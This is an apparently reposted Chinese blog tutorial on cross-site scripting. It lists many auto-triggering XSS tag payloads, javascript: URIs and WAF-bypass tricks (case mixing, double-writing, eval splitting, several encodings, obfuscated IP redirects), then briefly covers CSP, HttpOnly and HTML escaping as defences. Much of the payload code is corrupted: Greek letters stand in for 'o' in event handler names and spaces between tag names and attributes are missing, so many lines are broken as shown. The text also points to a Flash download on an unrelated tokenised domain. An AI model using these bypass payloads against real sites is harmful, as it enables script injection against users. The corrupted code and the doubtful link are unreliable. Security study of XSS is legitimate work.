0


xss跨站及绕过与防护

XSS

它主要是指攻击者可以在页面中插入恶意脚本代码,当受害者访问这些页面时,浏览器会解析并执行这些恶意代码,从而达到窃取用户身份/钓鱼/传播恶意代码等行为。

SVG-XSS

SVG(Scalable Vector Graphics)是一种基于XML的二维矢量图格式,和我们平常用的jpg/png等图片格式所不同的是SVG图像在放大或改变尺寸的情况下其图形质量不会有所损失,并且我们可以使用任何的文本编辑器打开SVG图片并且编辑它,目前主流的浏览器都已经支持SVG图片的渲染。

<circle cx="100"cy="50"r="40"stroke=“black” stroke-width="2"fill=“red” />

PDF-XSS
1、创建PDF,加入动作JS
在这里插入图片描述

2、通过文件上传获取访问链接

3、直链地址访问后被触发

在这里插入图片描述

SWF-XSS

测试swf文件xss安全性:
1、反编译swf文件
2、查找触发危险函数
3、找可控参数访问触发
xss一是指执行恶意js,那么为什么说flash xss呢?是因为flash有可以调用js的函数,也就是可以和js通信,因此这些函数如果使用不当就会造成xss。常见的可触发xss的危险函数有:getURL,navigateToURL,ExternalInterface.call,htmlText
loadMovie等等

adob flash下载链接:https://t5art65aer.yzhy23.cn/2019/08/02/adboeflash.rar?timestamp=671cf0d2&auth_key=97f961c2c3e03dcd9e7c46429f170fa1&sign=080e6247193bde0b8650b2134efa562c&t=671cfee2

新建动画

在这里插入图片描述

按f9打开动作
在这里插入图片描述

写入

var m = _root.m;

flash.external.ExternalInterface.call(m);
在这里插入图片描述

ctrl+enter运行
在这里插入图片描述

正常运行ok,发布出来

然后放到网站内使用浏览器访问,加上参数m=alert(1),就执行js成功

在这里插入图片描述

常见标签-无需交互触发

<script>alert("xss");</script>
<img src=1 οnerrοr=alert("xss");>
<inputonfocus="alert('xss');">
<input οnblur=alert("xss") autofocus><inputautofocus><inputonfocus="alert('xss');"autofocus><detailsontoggle="alert('xss');"><detailsopenontoggle="alert('xss');">
<svg οnlοad=alert("xss");>
<selectonfocus=alert(1)></select><selectonfocus=alert(1)autofocus>
<iframe οnlοad=alert("xss");></iframe><video><sourceonerror="alert(1)">
<audio src=x  οnerrοr=alert("xss");>
<body/οnlοad=alert("xss");>

<body
οnscrοll=alert("xss");><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><inputautofocus>

<textarea οnfοcus=alert("xss"); autofocus>
<keygenautofocusonfocus=alert(1)> //仅限火狐
<marquee onstart=alert("xss")></marquee> //Chrome不行,火狐和IE都可以
<isindex type=image src=1 οnerrοr=alert("xss")>//仅限于IE

link远程包含js文件

<linkrel=importhref="http://127.0.0.1/1.js">

JavaScript伪协议

<a>标签
<ahref="javascript:alert(`xss`);">xss</a><iframe>标签
<iframe src=javascript:alert('xss');></iframe><img>标签
<img src=javascript:alert('xss')>//IE7以下

<form>标签
<formaction="Javascript:alert(1)"><inputtype=submit>

过滤绕过

过滤空格

/

代替空格

<img/src="x"/οnerrοr=alert("xss");>

过滤关键字

大小写
<ImG sRc=x onerRor=alert("xss");>
双写

有些waf可能会只替换一次且是替换为空,这种情况下我们可以考虑双写关键字绕过

<imimgg srsrcc=x οnerrοr=alert("xss");>
字符拼接

利用eval

<imgsrc="x"onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">

利用top

<script>top["al"+"ert"](`xss`);</script>

编码绕过

不过全是在能执行js的条件下,有点鸡肋

Unicode编码绕过

<imgsrc="x"onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#115;&#34;&#41;&#59;"><imgsrc="x"onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')">

url编码

<imgsrc="x"onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
<iframesrc="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>

ascii编码

<imgsrc="x"onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">

hex编码

<img src=x οnerrοr=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>

base64编码

<imgsrc="x"onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))">
<iframesrc="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">

过滤url地址

url编码
<img src="x" οnerrοr=document.location=`http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/`>
使用IP

ip转换进制在线工具

IP地址十六进制、二进制、十进制转换-ME2在线工具

1.十进制IP

<img src="x" onerror=document.location=`http://2130706433/`>

2.八进制IP

<img src="x" onerror=document.location=`http://0177.0.0.01/`>

3.hex

<img src="x" onerror=document.location=`http://0x7f.0x0.0x0.0x1/`>

4.html标签中用

//

可以代替

http://
<img src="x" onerror=document.location=`//www.baidu.com`>

5.使用中文句号代替英文的点
如果你在你在域名中输入中文句号浏览器会自动转化成英文的点

<imgsrc="x"onerror="document.location=`http://www。baidu。com`">//会自动跳转到百度

安全防护

CSP

CSP(Content Security Policy 内容安全策略内容安全策略是一种可信白名单机制,来限制网站中是否可以包含某来源内容该制度明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单,它的实现和执行全部由浏览器完成,开发者只需提供配置。禁止加载外域代码,防止复杂的攻击逻辑。禁止外域提交,网站被攻击后,用户的数据不会泄露到外域禁止内联脚本执行(规则较严格,目前发现GitHub使用)禁止未授权的脚本执行(新特性,Google Map 移动版在使用)合理使用上报可以及时发现 xSS,利于尽快修复问题。

如下图,未开启csp时img标签可以加载外部源的图片
在这里插入图片描述

一旦加入csp代码开启csp 就报错,因为csp禁止请求非同源资源

在这里插入图片描述

HttpOnly

HtpOnly是Cokioe的一个安全属性, 设置后则可以在xSS漏洞发生时避免Js读取到Cookie

在这里插入图片描述
在这里插入图片描述

使用js获取cookie,发现获取不到开启了httponly的参数
在这里插入图片描述

XSS Filter

把特殊标签符号转码,比如把”<”, “>”, “&”等这些特殊字符转码,例如heml实体化

在这里插入图片描述

开启实体化后
在这里插入图片描述

全被转义了

标签: xss 前端 web安全

本文转载自: https://blog.csdn.net/weixin_67289581/article/details/143268572
版权归原作者 网安_秋刀鱼 所有, 如有侵权,请联系我们删除。

“xss跨站及绕过与防护”的评论:

还没有评论